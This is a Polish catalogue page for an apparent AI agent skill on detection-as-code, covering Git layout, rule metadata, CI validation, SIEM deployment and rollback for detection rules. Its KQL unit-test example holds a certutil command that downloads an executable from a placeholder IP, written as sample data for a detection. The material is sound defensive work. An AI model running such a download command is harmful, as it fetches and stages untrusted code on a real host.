detection-as-code
/detection-as-code
Prowadzi reguły detekcji jako kod: repozytorium Git, walidację w CI, przegląd, wdrażanie do SIEM i wersjonowanie.
- Autor
- kaandgnsh ↗
- Repozytorium
- Claude-Blue ↗
- Licencja
- MIT
- Ostatnia zmiana repozytorium
- 01.11.2026
Ocena i bezpieczeństwo
- Pliki w paczce
- 1
- Skrypty
- 0
- Komentarze HTML
- 0
- Adresy URL w SKILL.md
- 4
Brak sygnałów. Repozytorium zmienione 01.11.2026, bez odwołań do wycofanych modeli i API.
MIT, otwarta: można używać i zmieniać, z zachowaniem informacji o autorze.
Co robi i kiedy
Prowadzi reguły detekcji jako kod: repozytorium Git, walidację w CI, przegląd, wdrażanie do SIEM i wersjonowanie.
Oryginalny opis (EN)
Manage detections as code — Git repository layout, rule schema and metadata, CI validation (sigma check, unit tests with sample events), peer review, automated deployment to SIEM via API/Terraform, versioning and rollback. Use when setting up a detection engineering pipeline, reviewing a detection repo, or moving from console-edited rules to version control.
Jak działa
- Repository layout
- Required rule metadata
- CI pipeline stages
- KQL unit test pattern (Sentinel)
- Controls
- Related skills
- References
Podgląd SKILL.md
---
name: detection-as-code
description: Manage detections as code — Git repository layout, rule schema and metadata, CI validation (sigma check, unit tests with sample events), peer review, automated deployment to SIEM via API/Terraform, versioning and rollback. Use when setting up a detection engineering pipeline, reviewing a detection repo, or moving from console-edited rules to version control.
license: MIT
metadata:
category: detection-engineering
version: "2.0.0"
verification: documented
---
# Detection as Code
## Repository layout
```
detections/
rules/<platform-or-sigma>/<tactic>/<rule>.yml
tests/<rule-id>/{positive.json,negative.json}
pipelines/corp_mapping.yml
lookups/allowlists/*.csv # exclusions with owner + expiry columns
docs/ads/<rule-id>.md # ADS documentation
.github/workflows/ci.yml
```
## Required rule metadata
`id`, `title`, `status`, `owner`, `ATT&CK tags`, `severity`, `data sources`, `false positives`, `runbook link`, `created/modified`, `test case IDs`. Enforce with a schema check in CI.
## CI pipeline stages
1. Lint/schema: `sigma check rules/`, yamllint, custom metadata checks (owner present, runbook exists, unique IDs).
2. Convert: `sigma convert` per target; fail on unmapped fields.
3. Unit test: evaluate the rule against `positive.json` (must match) and `negative.json` (must not) — e.g. with a local evaluator, Splunk `| makeresults`-based tests, Sentinel `datatable()` tests, or Elastic's detection-rules test harness.
4. Peer review via pull request (two-person rule for production detections).
5. Deploy on merge via API/IaC: Splunk REST (`saved/searches`), Sentinel (`Microsoft.SecurityInsights/alertRules` via ARM/Bicep/Terraform `azurerm_sentinel_alert_rule_scheduled`), Elastic `detection-rules` CLI (`kibana import-rules`), Chronicle/SecOps APIs.
6. Post-deploy smoke test: confirm rule enabled and scheduled; synthetic test event if available.
## KQL unit test pattern (Sentinel)
```kusto
let DeviceProcessEvents = datatable(FileName:string, ProcessCommandLine:string)
[ "certutil.exe", "certutil -urlcache -split -f http://198.51.100.1/a.exe a.exe",
"certutil.exe", "certutil -verify cert.cer" ];
DeviceProcessEvents
| where FileName =~ "certutil.exe" and ProcessCommandLine has "urlcache" and ProcessCommandLine has "http"
| count // expect 1
```
## Controls
- Production rule changes only through the pipeline (lock console editing via RBAC or detect drift by comparing deployed rules to repo nightly).
- Tag releases; rollback = redeploy previous tag.
- Exclusion lookups also go through PR with expiry.
## Related skills
`sigma-conversion`, `detection-testing`, `detection-lifecycle`, `alert-tuning`
## References
- Elastic detection-rules repo (DaC reference implementation): https://github.com/elastic/detection-rules
- Splunk security_content (ESCU) repo: https://github.com/splunk/security_content
- Terraform azurerm_sentinel_alert_rule_scheduled: https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/sentinel_alert_rule_scheduled
Wersje
W bazie nie ma innych skilli o nazwie detection-as-code.
Migawka bazy z 13.11.2026 · wersja paczki 21075a3143f5 (skrót SHA-256 całej paczki)
Pobrania w ostatnich 30 dniach: 0 · ranking
Zgłoś problem z tym skillem: szkodliwa treść, błędny opis albo prośba autora o usunięcie.
Podobne skille
- 100siem-rule
Pisze reguły detekcji SIEM dla zagrożenia lub techniki: format SIGMA, mapowanie na MITRE i przypadki testowe. - 100sigma-generic-signature-format-detection
Pisze przenośne reguły wykrywania Sigma, które da się przekonwertować na natywne języki zapytań SIEM. - 100siem-detection
Projektuje i audytuje reguły wykrywania w SIEM: pokrycie źródeł logów, zapytania Sigma, KQL, SPL i mapowanie do MITRE ATT&CK. - 100threat-hunting
Wspiera polowanie na zagrożenia po stronie obrony: reguły Sigma i YARA, projektowanie zapytań SIEM i walidację wykrywania incydentów. - 100cyber-detection-engineering
Projektuje i recenzuje reguły detekcji na podstawie wymagań telemetrii, logiki korelacji, metadanych Sigma, poziomu ważności i przypadków łagodnych. - 100building-detection-rules-with-sigma
Buduje niezależne od dostawcy reguły detekcji w formacie Sigma dla platform SIEM (Splunk, Elastic, Microsoft Sentinel), mapuje je do technik MITRE ATT&CK i konwertuje reguły społeczności przez sigmac lub pySigma.